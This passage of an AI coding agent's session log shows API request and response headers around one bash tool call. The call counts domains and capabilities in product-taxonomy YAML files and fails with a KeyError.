\"allowed_warning\",\n[2026-09-29T07:50:00.982Z] [STDOUT]   \"request-id\": \"req_011CfXN71BmQwYcK2mXwVuw4\",\n[2026-09-29T07:50:00.985Z] [STDOUT]   \"traceresponse\": \"00-55eb8c113ed3957a76de85a511d27850-8e4391d0bad6e29f-01\",\n[2026-09-29T07:50:00.990Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:00.994Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:00.997Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:01.002Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:01.005Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:01.010Z] [STDOUT]   \"cf-ray\": \"a42964f69a7129ad-FRA\",\n[2026-09-29T07:50:01.030Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:01.039Z] [STDOUT] [log_25bb32] response parsed {\n[2026-09-29T07:50:01.043Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:01.050Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:01.054Z] [STDOUT]   body: X {\n[2026-09-29T07:50:01.058Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:01.061Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:01.065Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:01.069Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:01.080Z] [STDOUT]     },\n[2026-09-29T07:50:01.083Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:01.088Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:01.091Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:01.099Z] [STDOUT]   },\n[2026-09-29T07:50:01.111Z] [STDOUT]   durationMs: 1063,\n[2026-09-29T07:50:01.119Z] [STDOUT] }\n[2026-09-29T07:50:01.867Z] [INFO] {\n[2026-09-29T07:50:01.867Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"message\": {\n[2026-09-29T07:50:01.867Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"id\": \"msg_011CfXN71nE6UrrLK7R5dspx\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"content\": [\n[2026-09-29T07:50:01.867Z] [INFO]       {\n[2026-09-29T07:50:01.867Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:50:01.867Z] [INFO]         \"id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\",\n[2026-09-29T07:50:01.867Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:50:01.867Z] [INFO]         \"input\": {\n[2026-09-29T07:50:01.867Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model/product-taxonomy; for f in *.yaml; do python3 -c \\\"\\nimport json,sys;d=json.load(open('$f'));print('$f',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\\"; done\",\n[2026-09-29T07:50:01.867Z] [INFO]           \"description\": \"Count domains and capabilities\"\n[2026-09-29T07:50:01.867Z] [INFO]         },\n[2026-09-29T07:50:01.867Z] [INFO]         \"caller\": {\n[2026-09-29T07:50:01.867Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:50:01.867Z] [INFO]         }\n[2026-09-29T07:50:01.867Z] [INFO]       }\n[2026-09-29T07:50:01.867Z] [INFO]     ],\n[2026-09-29T07:50:01.867Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:01.867Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:01.867Z] [INFO]       \"cache_creation_input_tokens\": 799,\n[2026-09-29T07:50:01.867Z] [INFO]       \"cache_read_input_tokens\": 82208,\n[2026-09-29T07:50:01.867Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:01.867Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:01.867Z] [INFO]         \"ephemeral_1h_input_tokens\": 799\n[2026-09-29T07:50:01.867Z] [INFO]       },\n[2026-09-29T07:50:01.867Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:50:01.867Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:01.867Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:01.867Z] [INFO]     },\n[2026-09-29T07:50:01.867Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:01.867Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:01.867Z] [INFO]   },\n[2026-09-29T07:50:01.867Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:01.867Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"uuid\": \"c7ced008-4b8b-4727-b29c-c59b82d13e4c\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:01.764Z\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"request_id\": \"req_011CfXN71BmQwYcK2mXwVuw4\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:50:01.867Z] [INFO]     \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\": {\n[2026-09-29T07:50:01.867Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model/product-taxonomy; for f in *.yaml; do python3 -c \\\"\\nimport json,sys;d=json.load(open('$f'));print('$f',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\\"; done\",\n[2026-09-29T07:50:01.867Z] [INFO]       \"description\": \"Count domains and capabilities\"\n[2026-09-29T07:50:01.867Z] [INFO]     }\n[2026-09-29T07:50:01.867Z] [INFO]   }\n[2026-09-29T07:50:01.867Z] [INFO] }\n[2026-09-29T07:50:05.039Z] [INFO] {\n[2026-09-29T07:50:05.039Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"task_id\": \"bu0w8odtv\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"tool_use_id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"description\": \"Count domains and capabilities\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:50:05.039Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"uuid\": \"aaa1b939-f0e5-4f57-81b4-b05db50a4951\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:05.039Z] [INFO] }\n[2026-09-29T07:50:06.772Z] [INFO] {\n[2026-09-29T07:50:06.772Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"task_id\": \"bu0w8odtv\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"tool_use_id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"status\": \"failed\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"summary\": \"Count domains and capabilities\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"uuid\": \"c4ad3342-09db-43a1-a3b6-9f527cfcbb9b\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:06.772Z] [INFO] }\n[2026-09-29T07:50:06.810Z] [INFO] {\n[2026-09-29T07:50:06.810Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"message\": {\n[2026-09-29T07:50:06.810Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:50:06.810Z] [INFO]     \"content\": [\n[2026-09-29T07:50:06.810Z] [INFO]       {\n[2026-09-29T07:50:06.810Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:50:06.810Z] [INFO]         \"content\": \"Exit code 1\\nmango-products.yaml 8 42\\nTraceback (most recent call last):\\n  File \\\"\\\", line 2, in \\n    import json,sys;d=json.load(open('telecom-products.yaml'));print('telecom-products.yaml',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\n                                                                                                 ~^^^^^^^^^^^\\nKeyError: 'domains'\",\n[2026-09-29T07:50:06.810Z] [INFO]         \"is_error\": true,\n[2026-09-29T07:50:06.810Z] [INFO]         \"tool_use_id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\"\n[2026-09-29T07:50:06.810Z] [INFO]       }\n[2026-09-29T07:50:06.810Z] [INFO]     ]\n[2026-09-29T07:50:06.810Z] [INFO]   },\n[2026-09-29T07:50:06.810Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:06.810Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"uuid\": \"710ef990-44f1-42eb-bd91-e895d90cf96e\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:06.791Z\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"tool_use_result\": \"Error: Exit code 1\\nmango-products.yaml 8 42\\nTraceback (most recent call last):\\n  File \\\"\\\", line 2, in \\n    import json,sys;d=json.load(open('telecom-products.yaml'));print('telecom-products.yaml',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\n                                                                                                 ~^^^^^^^^^^^\\nKeyError: 'domains'\"\n[2026-09-29T07:50:06.810Z] [INFO] }\n[2026-09-29T07:50:06.837Z] [INFO] \u26a0\ufe0f Tool result error detected: Exit code 1\n[2026-09-29T07:50:06.837Z] [INFO] mango-products.yaml 8 42\n[2026-09-29T07:50:06.837Z] [INFO] Traceback (most recent call last):\n[2026-09-29T07:50:06.837Z] [INFO]   File \"\", line 2, in \n[2026-09-29T07:50:06.837Z] [INFO]     import json,sys;d=json.load(open('telecom-products.yaml'));print('telecom-products.ya\n[2026-09-29T07:50:06.992Z] [STDOUT] [log_9cab6c] sending request {\n[2026-09-29T07:50:06.996Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:50:06.998Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:07.000Z] [STDOUT]   options: {\n[2026-09-29T07:50:07.003Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:50:07.005Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:50:07.007Z] [STDOUT]     body: {\n[2026-09-29T07:50:07.009Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:50:07.011Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:50:07.012Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:50:07.100Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:50:07.104Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:50:07.105Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:50:07.109Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:07.122Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:07.180Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:07.191Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:07.218Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:07.232Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:07.243Z] [STDOUT]     },\n[2026-09-29T07:50:07.247Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:07.251Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:07.253Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:07.254Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:07.255Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:07.257Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:07.258Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:07.259Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:07.263Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:07.279Z] [STDOUT]     },\n[2026-09-29T07:50:07.281Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:07.287Z] [STDOUT]   },\n[2026-09-29T07:50:07.296Z] [STDOUT]   headers: {\n[2026-09-29T07:50:07.301Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:07.308Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:07.310Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:07.312Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:07.314Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:07.320Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:07.324Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:07.331Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:07.337Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:07.340Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=4902\",\n[2026-09-29T07:50:07.352Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:07.357Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:07.362Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:07.366Z] [STDOUT]     \"x-client-request-id\": \"39b0d590-f28a-40b8-9117-350645790f1c\",\n[2026-09-29T07:50:07.370Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:07.375Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:07.380Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:07.386Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:07.391Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:07.395Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:07.402Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:07.405Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:07.408Z] [STDOUT]   },\n[2026-09-29T07:50:07.414Z] [STDOUT] }\n[2026-09-29T07:50:07.762Z] [STDOUT] [log_9cab6c, request-id: \"req_011CfXN7ZSEqJ9fJS1yQmY89\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 773ms\n[2026-09-29T07:50:07.768Z] [STDOUT] [log_9cab6c] response start {\n[2026-09-29T07:50:07.775Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:07.778Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:07.786Z] [STDOUT]   headers: {\n[2026-09-29T07:50:07.799Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:07.807Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:07.836Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:07.841Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:07.847Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:07.866Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:07.981Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:07.991Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:07.997Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:08.001Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:08.034Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:08.037Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:08.042Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:08.045Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:08.049Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:08.054Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:08.059Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:08.092Z] [STDOUT]     \"cf-ray\": \"a4296525be8429ad-FRA\",\n[2026-09-29T07:50:08.139Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:08.166Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:08.172Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:08.176Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:08.184Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:07 GMT\",\n[2026-09-29T07:50:08.193Z] [STDOUT]     \"request-id\": \"req_011CfXN7ZSEqJ9fJS1yQmY89\",\n[2026-09-29T07:50:08.201Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:08.205Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:08.210Z] [STDOUT]     traceresponse: \"00-c75dda136f0ecca7a2be55991d51d645-9e94adfc6dc45ca7-01\",\n[2026-09-29T07:50:08.216Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:08.219Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:08.227Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:08.286Z] [STDOUT]   },\n[2026-09-29T07:50:08.306Z] [STDOUT]   durationMs: 773,\n[2026-09-29T07:50:08.327Z] [STDOUT] }\n[2026-09-29T07:50:08.334Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:08.339Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:07 GMT\",\n[2026-09-29T07:50:08.347Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:08.354Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:08.370Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:08.382Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:08.392Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:08.405Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:08.416Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:08.445Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:08.458Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:08.462Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:08.468Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:08.474Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:08.481Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:08.490Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:08.516Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:08.520Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:08.526Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:08.536Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:08.550Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:08.645Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:08.704Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:08.723Z] [STDOUT]   \"request-id\": \"req_011CfXN7ZSEqJ9fJS1yQmY89\",\n[2026-09-29T07:50:08.741Z] [STDOUT]   \"traceresponse\": \"00-c75dda136f0ecca7a2be55991d51d645-9e94adfc6dc45ca7-01\",\n[2026-09-29T07:50:08.745Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:08.755Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:08.762Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:08.767Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:08.771Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:08.804Z] [STDOUT]   \"cf-ray\": \"a4296525be8429ad-FRA\",\n[2026-09-29T07:50:08.816Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:08.867Z] [STDOUT] [log_9cab6c] response parsed {\n[2026-09-29T07:50:08.872Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:08.874Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:08.877Z] [STDOUT]   body: X {\n[2026-09-29T07:50:08.879Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:08.880Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:08.882Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:08.887Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:08.889Z] [STDOUT]     },\n[2026-09-29T07:50:08.890Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:08.892Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:08.896Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:08.898Z] [STDOUT]   },\n[2026-09-29T07:50:08.901Z] [STDOUT]   durationMs: 774,\n[2026-09-29T07:50:08.907Z] [STDOUT] }\n[2026-09-29T07:50:08.929Z] [INFO] {\n[2026-09-29T07:50:08.929Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:08.929Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:08.929Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:08.929Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:08.929Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:08.929Z] [INFO]   \"uuid\": \"de2fe917-9edc-4403-a44c-f600a8dc497a\"\n[2026-09-29T07:50:08.929Z] [INFO] }\n[2026-09-29T07:50:09.062Z] [INFO] {\n[2026-09-29T07:50:09.062Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:09.062Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:09.062Z] [INFO]   \"estimated_tokens\": 210,\n[2026-09-29T07:50:09.062Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:09.062Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:09.062Z] [INFO]   \"uuid\": \"83bd734f-52d2-43f6-ac2a-4999525dce3e\"\n[2026-09-29T07:50:09.062Z] [INFO] }\n[2026-09-29T07:50:09.067Z] [INFO] {\n[2026-09-29T07:50:09.067Z] [INFO]   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\"standard\",\n[2026-09-29T07:50:09.067Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:09.067Z] [INFO]     },\n[2026-09-29T07:50:09.067Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:09.067Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:09.067Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:09.067Z] [INFO]   },\n[2026-09-29T07:50:09.067Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:09.067Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:09.067Z] [INFO]   \"uuid\": \"6303c338-afd1-4deb-9ae0-2fd44499c97a\",\n[2026-09-29T07:50:09.067Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:09.058Z\",\n[2026-09-29T07:50:09.067Z] [INFO]   \"request_id\": \"req_011CfXN7ZSEqJ9fJS1yQmY89\"\n[2026-09-29T07:50:09.067Z] [INFO] }\n[2026-09-29T07:50:10.042Z] [INFO] {\n[2026-09-29T07:50:10.042Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:10.042Z] [INFO]   \"message\": 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\"rejected\",\n[2026-09-29T07:50:13.323Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:13.329Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:13.334Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:13.337Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:13.341Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:13.346Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:13.384Z] [STDOUT]     \"cf-ray\": \"a42965484af729ad-FRA\",\n[2026-09-29T07:50:13.391Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:13.398Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:13.415Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:13.426Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:13.437Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:13 GMT\",\n[2026-09-29T07:50:13.445Z] [STDOUT]     \"request-id\": \"req_011CfXN7y4Z5Urs3bfoDbuSa\",\n[2026-09-29T07:50:13.451Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:13.463Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; 